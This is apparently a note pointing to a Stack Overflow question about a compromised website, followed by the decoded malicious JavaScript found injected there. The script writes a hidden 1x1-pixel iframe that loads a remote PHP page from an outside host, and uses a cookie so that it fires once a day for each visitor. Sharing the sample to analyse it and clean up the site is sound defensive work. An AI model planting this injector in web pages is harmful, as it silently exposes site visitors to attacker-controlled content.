http://stackoverflow.com/questions/16903586/code-injected-into-compromised-site

decoded injected code

function zzzfff() {
 var zxn = document.createElement('iframe');

 zxn.src = 'http://tchopp.startlogic.com/css/counter.php';
 zxn.style.position = 'absolute';
 zxn.style.border = '0';
 zxn.style.height = '1px';
 zxn.style.width = '1px';
 zxn.style.left = '1px';
 zxn.style.top = '1px';

 if (!document.getElementById('zxn')) {
 document.write('<div id=\'zxn\'></div>');
 document.getElementById('zxn').appendChild(zxn);
 }
}
function SetCookie(cookieName,cookieValue,nDays,path) {
 var today = new Date();
 var expire = new Date();
 if (nDays==null || nDays==0) nDays=1;
 expire.setTime(today.getTime() + 3600000*24*nDays);
 document.cookie = cookieName+"="+escape(cookieValue)
 + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie( name ) {
 var start = document.cookie.indexOf( name + "=" );
 var len = start + name.length + 1;
 if ( ( !start ) &&
 ( name != document.cookie.substring( 0, name.length ) ) )
 {
 return null;
 }
 if ( start == -1 ) return null;
 var end = document.cookie.indexOf( ";", len );
 if ( end == -1 ) end = document.cookie.length;
 return unescape( document.cookie.substring( len, end ) );
}
if (navigator.cookieEnabled)
{
if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');

zzzfff();
}
}